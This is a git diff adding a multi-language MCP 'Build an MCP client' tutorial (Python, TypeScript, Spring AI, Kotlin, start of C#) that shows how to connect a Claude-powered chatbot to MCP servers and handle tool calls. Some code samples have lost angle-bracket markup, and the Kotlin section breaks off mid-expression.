+* Silent scope semantic changes without versioning
+* Treating claimed scopes in token as sufficient without server-side
+ authorization logic
+
+Proper minimization constrains compromise impact, improves audit
+clarity, and reduces consent churn.
diff --git a/content/mcp/docs/2026-07-28/develop/build-client.md b/content/mcp/docs/2026-07-28/develop/build-client.md
new file mode 100644
index 000000000..de47c1cf7
--- /dev/null
+++ b/content/mcp/docs/2026-07-28/develop/build-client.md
@@ -0,0 +1,2522 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Build an MCP client
+
+> Get started building your own client that can integrate with all MCP servers.
+
+In this tutorial, you'll learn how to build an LLM-powered chatbot client that connects to MCP servers.
+
+Before you begin, it helps to have gone through our [Build an MCP Server](/docs/2026-07-28/develop/build-server) tutorial so you can understand how clients and servers communicate.
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-python)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Mac or Windows computer
+ * Latest Python version installed
+ * Latest version of `uv` installed
+ * You must use the Python MCP SDK 2.0.0 or higher
+
+ ## Setting Up Your Environment
+
+ First, create a new Python project with `uv`:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create project directory
+ uv init mcp-client
+ cd mcp-client
+
+ # Create virtual environment
+ uv venv
+
+ # Activate virtual environment
+ source .venv/bin/activate
+
+ # Install required packages
+ uv add mcp anthropic python-dotenv
+
+ # Remove boilerplate files
+ rm main.py
+
+ # Create our main file
+ touch client.py
+ ```
+
+ ```powershell Windows theme={null}
+ # Create project directory
+ uv init mcp-client
+ cd mcp-client
+
+ # Create virtual environment
+ uv venv
+
+ # Activate virtual environment
+ .venv\Scripts\activate
+
+ # Install required packages
+ uv add mcp anthropic python-dotenv
+
+ # Remove boilerplate files
+ del main.py
+
+ # Create our main file
+ new-item client.py
+ ```
+
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Imports and Setup
+
+ First, let's set up our imports and the pieces the rest of the file shares:
+
+ ```python theme={null}
+ import asyncio
+ import sys
+
+ from mcp import Client, StdioServerParameters
+ from mcp.client.stdio import stdio_client
+ from mcp_types import TextContent
+
+ from anthropic import Anthropic
+ from dotenv import load_dotenv
+
+ load_dotenv() # load environment variables from .env
+
+ MODEL = "claude-opus-5"
+ anthropic = Anthropic()
+ ```
+
+ `Client` is the single object your program talks to the server through. Listing the tools, calling one, reading a resource: each of those is a method on it.
+
+ ### Server Connection Management
+
+ Next, we'll work out which process to launch for a given server script:
+
+ ```python theme={null}
+ def server_params(server_script_path: str) -> StdioServerParameters:
+ """Describe the subprocess that runs an MCP server
+
+ Args:
+ server_script_path: Path to the server script (.py or .js)
+ """
+ if server_script_path.endswith(".py"):
+ command = "python"
+ elif server_script_path.endswith(".js"):
+ command = "node"
+ else:
+ raise ValueError("Server script must be a .py or .js file")
+
+ return StdioServerParameters(command=command, args=[server_script_path])
+ ```
+
+ `StdioServerParameters` is configuration, not a connection. `stdio_client()` turns it into a stdio transport, and `Client` opens that transport when you enter its `async with` block. We'll do both in `main()`.
+
+ ### Query Processing Logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```python theme={null}
+ async def process_query(client: Client, query: str) -> str:
+ """Process a query using Claude and available tools"""
+ messages = [
+ {
+ "role": "user",
+ "content": query
+ }
+ ]
+
+ tool_list = await client.list_tools()
+ available_tools = [{
+ "name": tool.name,
+ "description": tool.description,
+ "input_schema": tool.input_schema
+ } for tool in tool_list.tools]
+
+ # Initial Claude API call
+ response = anthropic.messages.create(
+ model=MODEL,
+ max_tokens=1000,
+ messages=messages,
+ tools=available_tools
+ )
+
+ # Process response and handle tool calls
+ final_text = []
+ tool_results = []
+
+ for content in response.content:
+ if content.type == 'text':
+ final_text.append(content.text)
+ elif content.type == 'tool_use':
+ tool_name = content.name
+ tool_args = content.input
+
+ # Execute tool call
+ result = await client.call_tool(tool_name, tool_args)
+ final_text.append(f"[Calling tool {tool_name} with args {tool_args}]")
+
+ tool_results.append({
+ "type": "tool_result",
+ "tool_use_id": content.id,
+ "content": "\n".join(
+ block.text
+ for block in result.content
+ if isinstance(block, TextContent)
+ ),
+ "is_error": result.is_error
+ })
+
+ if tool_results:
+ messages.append({"role": "assistant", "content": response.content})
+ messages.append({"role": "user", "content": tool_results})
+
+ # Get next response from Claude
+ response = anthropic.messages.create(
+ model=MODEL,
+ max_tokens=1000,
+ messages=messages,
+ tools=available_tools
+ )
+
+ for content in response.content:
+ if content.type == 'text':
+ final_text.append(content.text)
+
+ return "\n".join(final_text)
+ ```
+
+ `call_tool` returns a `CallToolResult`. Its `content` is a list of blocks, which is why we narrow to `TextContent` before reading `.text`. A tool that raises does not raise here: it answers with `is_error` set, and passing that flag on lets Claude read the message and try something else.
+
+ ### Interactive Chat Interface
+
+ Now we'll add the chat loop:
+
+ ```python theme={null}
+ async def chat_loop(client: Client) -> None:
+ """Run an interactive chat loop"""
+ print("\nMCP Client Started!")
+ print("Type your queries or 'quit' to exit.")
+
+ while True:
+ try:
+ query = (await asyncio.to_thread(input, "\nQuery: ")).strip()
+ except EOFError:
+ break
+
+ if query.lower() == 'quit':
+ break
+
+ try:
+ response = await process_query(client, query)
+ print("\n" + response)
+ except Exception as e:
+ print(f"\nError: {e}")
+ ```
+
+ `input()` blocks, so it runs on a worker thread. That keeps the event loop free to service the connection while you type.
+
+ ### Main Entry Point
+
+ Finally, we'll add the main execution logic:
+
+ ```python theme={null}
+ async def main() -> None:
+ if len(sys.argv) < 2:
+ print("Usage: python client.py ")
+ sys.exit(1)
+
+ async with Client(stdio_client(server_params(sys.argv[1]))) as client:
+ tool_list = await client.list_tools()
+ tool_names = [tool.name for tool in tool_list.tools]
+ print("\nConnected to server with tools:", tool_names)
+
+ await chat_loop(client)
+
+
+ if __name__ == "__main__":
+ asyncio.run(main())
+ ```
+
+ That `async with` is the entire connection lifecycle. Entering it launches the server and agrees a protocol version with it; leaving it disconnects and shuts the subprocess down. There is nothing to close by hand.
+
+ You can find the complete `client.py` file [here](https://github.com/modelcontextprotocol/quickstart-resources/blob/main/mcp-client-python/client.py).
+
+ ## Key Components Explained
+
+ ### 1. Client Initialization
+
+ * A single `Client` carries the connection, and `async with` is its whole lifecycle
+ * There is no connect/close pair to call and nothing to clean up afterwards
+ * Configures the Anthropic client for Claude interactions
+
+ ### 2. Server Connection
+
+ * Supports both Python and Node.js servers
+ * Validates server script type
+ * Launches the server as a subprocess and speaks stdio to it
+ * Lists the available tools once the connection is open
+
+ ### 3. Query Processing
+
+ * Maintains conversation context
+ * Handles Claude's responses and tool calls
+ * Manages the message flow between Claude and tools
+ * Combines results into a coherent response
+
+ ### 4. Interactive Interface
+
+ * Provides a simple command-line interface
+ * Handles user input and displays responses
+ * Includes basic error handling
+ * Allows graceful exit
+
+ ### 5. Resource Management
+
+ * Leaving the `async with` block disconnects and shuts the server subprocess down
+ * A failing query is reported without ending the session
+ * Typing `quit`, or closing standard input, exits cleanly
+
+ ## Common Customization Points
+
+ 1. **Tool Handling**
+ * Modify `process_query()` to handle specific tool types
+ * Add custom error handling for tool calls
+ * Implement tool-specific response formatting
+
+ 2. **Response Processing**
+ * Customize how tool results are formatted
+ * Add response filtering or transformation
+ * Implement custom logging
+
+ 3. **User Interface**
+ * Add a GUI or web interface
+ * Implement rich console output
+ * Add command history or auto-completion
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ uv run client.py path/to/server.py # python server
+ uv run client.py path/to/build/index.js # node server
+ ```
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-python), your command might look something like this: `python client.py .../quickstart-resources/weather-server-python/weather.py`
+
+
+ The client will:
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ Here's an example of what it should look like if connected to the weather server from the server quickstart:
+
+
+
+
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client gets the list of available tools from the server
+ 2. Your query is sent to Claude along with tool descriptions
+ 3. Claude decides which tools (if any) to use
+ 4. The client executes any requested tool calls through the server
+ 5. Results are sent back to Claude
+ 6. Claude provides a natural language response
+ 7. The response is displayed to you
+
+ ## Best practices
+
+ 1. **Error Handling**
+ * Check `result.is_error` rather than expecting a failing tool to raise
+ * Provide meaningful error messages
+ * Gracefully handle connection issues
+
+ 2. **Resource Management**
+ * Let the `async with` block own the connection
+ * Keep it open for as long as you need the server
+ * Handle server disconnections
+
+ 3. **Security**
+ * Store API keys securely in `.env`
+ * Validate server responses
+ * Be cautious with tool permissions
+
+ 4. **Tool Names**
+ * Tool names can be validated according to the format specified [here](/specification/2026-07-28/server/tools#tool-names)
+ * If a tool name conforms to the specified format, it should not fail validation by an MCP client
+
+ ## Troubleshooting
+
+ ### Server Path Issues
+
+ * Double-check the path to your server script is correct
+ * Use the absolute path if the relative path isn't working
+ * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
+ * Verify the server file has the correct extension (.py for Python or .js for Node.js)
+
+ Example of correct path usage:
+
+ ```bash theme={null}
+ # Relative path
+ uv run client.py ./server/weather.py
+
+ # Absolute path
+ uv run client.py /Users/username/projects/mcp-server/weather.py
+
+ # Windows path (either format works)
+ uv run client.py C:/projects/mcp-server/weather.py
+ uv run client.py C:\\projects\\mcp-server\\weather.py
+ ```
+
+ ### Response Timing
+
+ * The first response might take up to 30 seconds to return
+ * This is normal and happens while:
+ * The server initializes
+ * Claude processes the query
+ * Tools are being executed
+ * Subsequent responses are typically faster
+ * Don't interrupt the process during this initial waiting period
+
+ ### Common Error Messages
+
+ If you see:
+
+ * `FileNotFoundError`: Check your server path
+ * `Connection refused`: Ensure the server is running and the path is correct
+ * `Tool execution failed`: Verify the tool's required environment variables are set
+ * `Timeout error`: Consider raising `read_timeout_seconds` on the `Client`
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/mcp-client-typescript)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Mac or Windows computer
+ * Node.js 20 or higher installed
+ * Latest version of `npm` installed
+ * Anthropic API key (Claude)
+
+ ## Setting Up Your Environment
+
+ First, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create project directory
+ mkdir mcp-client-typescript
+ cd mcp-client-typescript
+
+ # Initialize npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @anthropic-ai/sdk @modelcontextprotocol/client dotenv
+
+ # Install dev dependencies
+ npm install -D @types/node typescript
+
+ # Create source file
+ touch index.ts
+ ```
+
+ ```powershell Windows theme={null}
+ # Create project directory
+ md mcp-client-typescript
+ cd mcp-client-typescript
+
+ # Initialize npm project
+ npm init -y
+
+ # Install dependencies
+ npm install @anthropic-ai/sdk @modelcontextprotocol/client dotenv
+
+ # Install dev dependencies
+ npm install -D @types/node typescript
+
+ # Create source file
+ new-item index.ts
+ ```
+
+
+ Update your `package.json` to set `type: "module"` and a build script:
+
+ ```json package.json theme={null}
+ {
+ "type": "module",
+ "scripts": {
+ "build": "tsc && chmod 755 build/index.js"
+ }
+ }
+ ```
+
+ Create a `tsconfig.json` in the root of your project:
+
+ ```json tsconfig.json theme={null}
+ {
+ "compilerOptions": {
+ "target": "ES2022",
+ "module": "Node16",
+ "moduleResolution": "Node16",
+ "types": ["node"],
+ "outDir": "./build",
+ "rootDir": "./",
+ "strict": true,
+ "esModuleInterop": true,
+ "skipLibCheck": true,
+ "forceConsistentCasingInFileNames": true
+ },
+ "include": ["index.ts"],
+ "exclude": ["node_modules"]
+ }
+ ```
+
+ ## Setting Up Your API Key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Create a `.env` file to store it:
+
+ ```bash theme={null}
+ echo "ANTHROPIC_API_KEY=" > .env
+ ```
+
+ Add `.env` to your `.gitignore`:
+
+ ```bash theme={null}
+ echo ".env" >> .gitignore
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's set up our imports and create the basic client class in `index.ts`:
+
+ ```typescript theme={null}
+ import { Anthropic } from "@anthropic-ai/sdk";
+ import {
+ MessageParam,
+ Tool,
+ } from "@anthropic-ai/sdk/resources/messages/messages.mjs";
+ import { Client } from "@modelcontextprotocol/client";
+ import { StdioClientTransport } from "@modelcontextprotocol/client/stdio";
+ import readline from "readline/promises";
+ import dotenv from "dotenv";
+
+ dotenv.config();
+
+ const ANTHROPIC_API_KEY = process.env.ANTHROPIC_API_KEY;
+ if (!ANTHROPIC_API_KEY) {
+ throw new Error("ANTHROPIC_API_KEY is not set");
+ }
+
+ class MCPClient {
+ private mcp: Client;
+ private anthropic: Anthropic;
+ private transport: StdioClientTransport | null = null;
+ private tools: Tool[] = [];
+
+ constructor() {
+ this.anthropic = new Anthropic({
+ apiKey: ANTHROPIC_API_KEY,
+ });
+ this.mcp = new Client({ name: "mcp-client-cli", version: "1.0.0" });
+ }
+ // methods will go here
+ }
+ ```
+
+ ### Server Connection Management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```typescript theme={null}
+ async connectToServer(serverScriptPath: string) {
+ try {
+ const isJs = serverScriptPath.endsWith(".js");
+ const isPy = serverScriptPath.endsWith(".py");
+ if (!isJs && !isPy) {
+ throw new Error("Server script must be a .js or .py file");
+ }
+ const command = isPy
+ ? process.platform === "win32"
+ ? "python"
+ : "python3"
+ : process.execPath;
+
+ this.transport = new StdioClientTransport({
+ command,
+ args: [serverScriptPath],
+ });
+ await this.mcp.connect(this.transport);
+
+ const toolsResult = await this.mcp.listTools();
+ this.tools = toolsResult.tools.map((tool) => {
+ return {
+ name: tool.name,
+ description: tool.description,
+ input_schema: tool.inputSchema,
+ };
+ });
+ console.log(
+ "Connected to server with tools:",
+ this.tools.map(({ name }) => name)
+ );
+ } catch (e) {
+ console.log("Failed to connect to MCP server: ", e);
+ throw e;
+ }
+ }
+ ```
+
+ ### Query Processing Logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```typescript theme={null}
+ async processQuery(query: string) {
+ const messages: MessageParam[] = [
+ {
+ role: "user",
+ content: query,
+ },
+ ];
+
+ const response = await this.anthropic.messages.create({
+ model: "claude-opus-5",
+ max_tokens: 1000,
+ messages,
+ tools: this.tools,
+ });
+
+ const finalText = [];
+
+ for (const content of response.content) {
+ if (content.type === "text") {
+ finalText.push(content.text);
+ } else if (content.type === "tool_use") {
+ const toolName = content.name;
+ const toolArgs = content.input as { [x: string]: unknown } | undefined;
+
+ const result = await this.mcp.callTool({
+ name: toolName,
+ arguments: toolArgs,
+ });
+ finalText.push(
+ `[Calling tool ${toolName} with args ${JSON.stringify(toolArgs)}]`
+ );
+
+ messages.push({
+ role: "user",
+ content: result.content
+ .filter((block) => block.type === "text")
+ .map((block) => block.text)
+ .join("\n"),
+ });
+
+ const response = await this.anthropic.messages.create({
+ model: "claude-opus-5",
+ max_tokens: 1000,
+ messages,
+ });
+
+ finalText.push(
+ response.content[0].type === "text" ? response.content[0].text : ""
+ );
+ }
+ }
+
+ return finalText.join("\n");
+ }
+ ```
+
+ ### Interactive Chat Interface
+
+ Now we'll add the chat loop and cleanup functionality:
+
+ ```typescript theme={null}
+ async chatLoop() {
+ const rl = readline.createInterface({
+ input: process.stdin,
+ output: process.stdout,
+ });
+
+ try {
+ console.log("\nMCP Client Started!");
+ console.log("Type your queries or 'quit' to exit.");
+
+ while (true) {
+ const message = await rl.question("\nQuery: ");
+ if (message.toLowerCase() === "quit") {
+ break;
+ }
+ const response = await this.processQuery(message);
+ console.log("\n" + response);
+ }
+ } finally {
+ rl.close();
+ }
+ }
+
+ async cleanup() {
+ await this.mcp.close();
+ }
+ ```
+
+ ### Main Entry Point
+
+ Finally, we'll add the main execution logic:
+
+ ```typescript theme={null}
+ async function main() {
+ if (process.argv.length < 3) {
+ console.log("Usage: node index.ts ");
+ return;
+ }
+ const mcpClient = new MCPClient();
+ try {
+ await mcpClient.connectToServer(process.argv[2]);
+ await mcpClient.chatLoop();
+ } catch (e) {
+ console.error("Error:", e);
+ await mcpClient.cleanup();
+ process.exit(1);
+ } finally {
+ await mcpClient.cleanup();
+ process.exit(0);
+ }
+ }
+
+ main();
+ ```
+
+ ## Running the Client
+
+ To run your client with any MCP server:
+
+ ```bash theme={null}
+ # Build TypeScript
+ npm run build
+
+ # Run the client
+ node build/index.js path/to/server.py # python server
+ node build/index.js path/to/build/index.js # node server
+ ```
+
+
+ If you're continuing [the weather tutorial from the server quickstart](https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-typescript), your command might look something like this: `node build/index.js .../quickstart-resources/weather-server-typescript/build/index.js`
+
+
+ **The client will:**
+
+ 1. Connect to the specified server
+ 2. List available tools
+ 3. Start an interactive chat session where you can:
+ * Enter queries
+ * See tool executions
+ * Get responses from Claude
+
+ ## How It Works
+
+ When you submit a query:
+
+ 1. The client gets the list of available tools from the server
+ 2. Your query is sent to Claude along with tool descriptions
+ 3. Claude decides which tools (if any) to use
+ 4. The client executes any requested tool calls through the server
+ 5. Results are sent back to Claude
+ 6. Claude provides a natural language response
+ 7. The response is displayed to you
+
+ ## Best practices
+
+ 1. **Error Handling**
+ * Use TypeScript's type system for better error detection
+ * Wrap tool calls in try-catch blocks
+ * Provide meaningful error messages
+ * Gracefully handle connection issues
+
+ 2. **Security**
+ * Store API keys securely in `.env`
+ * Validate server responses
+ * Be cautious with tool permissions
+
+ ## Troubleshooting
+
+ ### Server Path Issues
+
+ * Double-check the path to your server script is correct
+ * Use the absolute path if the relative path isn't working
+ * For Windows users, make sure to use forward slashes (/) or escaped backslashes (\\) in the path
+ * Verify the server file has the correct extension (.js for Node.js or .py for Python)
+
+ Example of correct path usage:
+
+ ```bash theme={null}
+ # Relative path
+ node build/index.js ./server/build/index.js
+
+ # Absolute path
+ node build/index.js /Users/username/projects/mcp-server/build/index.js
+
+ # Windows path (either format works)
+ node build/index.js C:/projects/mcp-server/build/index.js
+ node build/index.js C:\\projects\\mcp-server\\build\\index.js
+ ```
+
+ ### Response Timing
+
+ * The first response might take up to 30 seconds to return
+ * This is normal and happens while:
+ * The server initializes
+ * Claude processes the query
+ * Tools are being executed
+ * Subsequent responses are typically faster
+ * Don't interrupt the process during this initial waiting period
+
+ ### Common Error Messages
+
+ If you see:
+
+ * `Error: Cannot find module`: Check your build folder and ensure TypeScript compilation succeeded
+ * `Connection refused`: Ensure the server is running and the path is correct
+ * `Tool execution failed`: Verify the tool's required environment variables are set
+ * `ANTHROPIC_API_KEY is not set`: Check your .env file and environment variables
+ * `TypeError`: Ensure you're using the correct types for tool arguments
+ * `BadRequestError`: Ensure you have enough credits to access the Anthropic API
+
+
+
+
+ This is a quickstart demo based on Spring AI MCP auto-configuration and boot starters.
+ To learn how to create sync and async MCP Clients manually, consult the [Java SDK Client](https://java.sdk.modelcontextprotocol.io/) documentation.
+
+
+ This example demonstrates how to build an interactive chatbot that combines Spring AI's Model Context Protocol (MCP) with the [Brave Search MCP Server](https://github.com/modelcontextprotocol/servers-archived/tree/main/src/brave-search). The application creates a conversational interface powered by Anthropic's Claude AI model that can perform internet searches through Brave Search, enabling natural language interactions with real-time web data.
+ [You can find the complete code for this tutorial here.](https://github.com/spring-projects/spring-ai-examples/tree/main/model-context-protocol/web-search/brave-chatbot)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * Java 17 or higher
+ * Maven 3.6+
+ * npx package manager
+ * Anthropic API key (Claude)
+ * Brave Search API key
+
+ ## Setting Up Your Environment
+
+ 1. Install npx (Node Package eXecute):
+ First, make sure to install [npm](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm)
+ and then run:
+
+ ```bash theme={null}
+ npm install -g npx
+ ```
+
+ 2. Clone the repository:
+
+ ```bash theme={null}
+ git clone https://github.com/spring-projects/spring-ai-examples.git
+ cd model-context-protocol/web-search/brave-chatbot
+ ```
+
+ 3. Set up your API keys:
+
+ ```bash theme={null}
+ export ANTHROPIC_API_KEY='your-anthropic-api-key-here'
+ export BRAVE_API_KEY='your-brave-api-key-here'
+ ```
+
+ 4. Build the application:
+
+ ```bash theme={null}
+ ./mvnw clean install
+ ```
+
+ 5. Run the application using Maven:
+ ```bash theme={null}
+ ./mvnw spring-boot:run
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` and `BRAVE_API_KEY` keys secure!
+
+
+ ## How it Works
+
+ The application integrates Spring AI with the Brave Search MCP server through several components:
+
+ ### MCP Client Configuration
+
+ 1. Required dependencies in pom.xml:
+
+ ```xml theme={null}
+
+ org.springframework.ai
+ spring-ai-starter-mcp-client
+
+
+ org.springframework.ai
+ spring-ai-starter-model-anthropic
+
+ ```
+
+ 2. Application properties (application.yml):
+
+ ```yml theme={null}
+ spring:
+ ai:
+ mcp:
+ client:
+ enabled: true
+ name: brave-search-client
+ version: 1.0.0
+ type: SYNC
+ request-timeout: 20s
+ stdio:
+ root-change-notification: true
+ servers-configuration: classpath:/mcp-servers-config.json
+ toolcallback:
+ enabled: true
+ anthropic:
+ api-key: ${ANTHROPIC_API_KEY}
+ ```
+
+ This activates the `spring-ai-starter-mcp-client` to create one or more `McpClient`s based on the provided server configuration.
+ The `spring.ai.mcp.client.toolcallback.enabled=true` property enables the tool callback mechanism, that automatically registers all MCP tool as spring ai tools.
+ It is disabled by default.
+
+ 3. MCP Server Configuration (`mcp-servers-config.json`):
+
+ ```json theme={null}
+ {
+ "mcpServers": {
+ "brave-search": {
+ "command": "npx",
+ "args": ["-y", "@modelcontextprotocol/server-brave-search"],
+ "env": {
+ "BRAVE_API_KEY": ""
+ }
+ }
+ }
+ }
+ ```
+
+ ### Chat Implementation
+
+ The chatbot is implemented using Spring AI's ChatClient with MCP tool integration:
+
+ ```java theme={null}
+ var chatClient = chatClientBuilder
+ .defaultSystem("You are useful assistant, expert in AI and Java.")
+ .defaultToolCallbacks((Object[]) mcpToolAdapter.toolCallbacks())
+ .defaultAdvisors(new MessageChatMemoryAdvisor(new InMemoryChatMemory()))
+ .build();
+ ```
+
+ Key features:
+
+ * Uses Claude AI model for natural language understanding
+ * Integrates Brave Search through MCP for real-time web search capabilities
+ * Maintains conversation memory using InMemoryChatMemory
+ * Runs as an interactive command-line application
+
+ ### Build and run
+
+ ```bash theme={null}
+ ./mvnw clean install
+ java -jar ./target/ai-mcp-brave-chatbot-0.0.1-SNAPSHOT.jar
+ ```
+
+ or
+
+ ```bash theme={null}
+ ./mvnw spring-boot:run
+ ```
+
+ The application will start an interactive chat session where you can ask questions. The chatbot will use Brave Search when it needs to find information from the internet to answer your queries.
+
+ The chatbot can:
+
+ * Answer questions using its built-in knowledge
+ * Perform web searches when needed using Brave Search
+ * Remember context from previous messages in the conversation
+ * Combine information from multiple sources to provide comprehensive answers
+
+ ### Advanced Configuration
+
+ The MCP client supports additional configuration options:
+
+ * Client customization through `McpClientCustomizer` or `McpClientCustomizer` beans
+ * Multiple clients with multiple transport types: `STDIO` and Streamable HTTP
+ * Integration with Spring AI's tool execution framework
+ * Automatic client initialization and lifecycle management
+
+ To connect to a remote MCP server over Streamable HTTP, configure a connection URL:
+
+ ```properties theme={null}
+ spring.ai.mcp.client.streamable-http.connections.server1.url=http://localhost:8080
+ ```
+
+ For WebFlux-based applications, you can use the WebFlux starter instead:
+
+ ```xml theme={null}
+
+ org.springframework.ai
+ spring-ai-starter-mcp-client-webflux
+
+ ```
+
+ This provides similar functionality but uses a WebFlux-based Streamable HTTP transport implementation, recommended for production deployments.
+
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/kotlin-sdk/tree/main/samples/kotlin-mcp-client)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * JDK 11 or higher
+ * Anthropic API key (Claude)
+
+ ## Setting up your environment
+
+ First, let's install `java` and `gradle` if you haven't already.
+ You can download `java` from [official Oracle JDK website](https://www.oracle.com/java/technologies/downloads/).
+ Verify your `java` installation:
+
+ ```bash theme={null}
+ java --version
+ ```
+
+ Now, let's create and set up your project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir kotlin-mcp-client
+ cd kotlin-mcp-client
+
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md kotlin-mcp-client
+ cd kotlin-mcp-client
+ # Initialize a new kotlin project
+ gradle init
+ ```
+
+
+ After running `gradle init`, select **Application** as the project type, **Kotlin** as the programming language.
+
+ Alternatively, you can create a Kotlin application using the [IntelliJ IDEA project wizard](https://kotlinlang.org/docs/jvm-get-started.html).
+
+ After creating the project, replace the contents of your `build.gradle.kts` with:
+
+ ```kotlin build.gradle.kts theme={null}
+ // Check latest versions at https://github.com/modelcontextprotocol/kotlin-sdk/releases
+ val mcpVersion = "0.9.0"
+ val ktorVersion = "3.2.3"
+ val anthropicVersion = "2.15.0"
+ val slf4jVersion = "2.0.17"
+
+ plugins {
+ kotlin("jvm") version "2.3.20"
+ id("com.gradleup.shadow") version "8.3.9"
+ application
+ }
+
+ application {
+ mainClass.set("MainKt")
+ }
+
+ dependencies {
+ implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion")
+ implementation("io.ktor:ktor-client-cio:$ktorVersion")
+ implementation("com.anthropic:anthropic-java:$anthropicVersion")
+ implementation("org.slf4j:slf4j-simple:$slf4jVersion")
+ }
+ ```
+
+ Verify that everything is set up correctly:
+
+ ```bash theme={null}
+ ./gradlew build
+ ```
+
+ ## Setting up your API key
+
+ You'll need an Anthropic API key from the [Anthropic Console](https://console.anthropic.com/settings/keys).
+
+ Set up your API key:
+
+ ```bash theme={null}
+ export ANTHROPIC_API_KEY='your-anthropic-api-key-here'
+ ```
+
+
+ Make sure you keep your `ANTHROPIC_API_KEY` secure!
+
+
+ ## Creating the Client
+
+ ### Basic Client Structure
+
+ First, let's create the basic client class:
+
+ ```kotlin theme={null}
+ class MCPClient(apiKey: String) : AutoCloseable {
+ private val anthropic = AnthropicOkHttpClient.builder()
+ .apiKey(apiKey)
+ .build()
+
+ private val mcp: Client = Client(
+ clientInfo = Implementation(name = "mcp-client-cli", version = "1.0.0")
+ )
+ private var serverProcess: Process? = null
+ private lateinit var tools: List
+
+ // methods will go here
+
+ override fun close() {
+ runBlocking {
+ mcp.close()
+ }
+ serverProcess?.destroy()
+ anthropic.close()
+ }
+ }
+ ```
+
+ ### Server connection management
+
+ Next, we'll implement the method to connect to an MCP server:
+
+ ```kotlin theme={null}
+ suspend fun connectToServer(serverScriptPath: String) {
+ val command = buildList {
+ when (serverScriptPath.substringAfterLast(".")) {
+ "js" -> add("node")
+ "py" -> add(if (System.getProperty("os.name").lowercase().contains("win")) "python" else "python3")
+ "jar" -> addAll(listOf("java", "-jar"))
+ else -> throw IllegalArgumentException("Server script must be a .js, .py or .jar file")
+ }
+ add(serverScriptPath)
+ }
+
+ val process = ProcessBuilder(command).start()
+ serverProcess = process
+
+ val transport = StdioClientTransport(
+ input = process.inputStream.asSource().buffered(),
+ output = process.outputStream.asSink().buffered(),
+ )
+
+ mcp.connect(transport)
+
+ val toolsResult = mcp.listTools()
+ tools = toolsResult.tools.map { tool ->
+ ToolUnion.ofTool(
+ Tool.builder()
+ .name(tool.name)
+ .description(tool.description ?: "")
+ .inputSchema(
+ Tool.InputSchema.builder()
+ .type(JsonValue.from(tool.inputSchema.type))
+ .properties(tool.inputSchema.properties?.toJsonValue() ?: EmptyJsonObject.toJsonValue())
+ .putAdditionalProperty("required", JsonValue.from(tool.inputSchema.required))
+ .build(),
+ )
+ .build(),
+ )
+ }
+ println("Connected to server with tools: ${tools.joinToString(", ") { it.tool().get().name() }}")
+ }
+ ```
+
+
+ This helper converts a kotlinx.serialization `JsonObject` to an Anthropic SDK `JsonValue` using Jackson:
+
+ ```kotlin theme={null}
+ private fun JsonObject.toJsonValue(): JsonValue {
+ val mapper = ObjectMapper()
+ val node = mapper.readTree(this.toString())
+ return JsonValue.fromJsonNode(node)
+ }
+ ```
+
+
+ ### Query processing logic
+
+ Now let's add the core functionality for processing queries and handling tool calls:
+
+ ```kotlin theme={null}
+ suspend fun processQuery(query: String): String {
+ val messages = mutableListOf(
+ MessageParam.builder()
+ .role(MessageParam.Role.USER)
+ .content(query)
+ .build(),
+ )
+
+ val response = anthropic.messages().create(
+ MessageCreateParams.builder()
+ .model("claude-opus-5")
+ .maxTokens(1024)
+ .messages(messages)
+ .tools(tools)
+ .build(),
+ )
+
+ val finalText = mutableListOf()
+ response.content().forEach { content ->
+ when {
+ content.isText() -> finalText.add(content.text().get().text())
+
+ content.isToolUse() -> {
+ val toolName = content.toolUse().get().name()
+ val toolArgs =
+ content.toolUse().get()._input().convert(object : TypeReference
+
+
+ [You can find the complete code for this tutorial here.](https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartClient)
+
+ ## System Requirements
+
+ Before starting, ensure your system meets these requirements:
+
+ * .NET 8.0 or higher
+ * Anthropic API key (Claude)
+ * Windows, Linux, or macOS
+
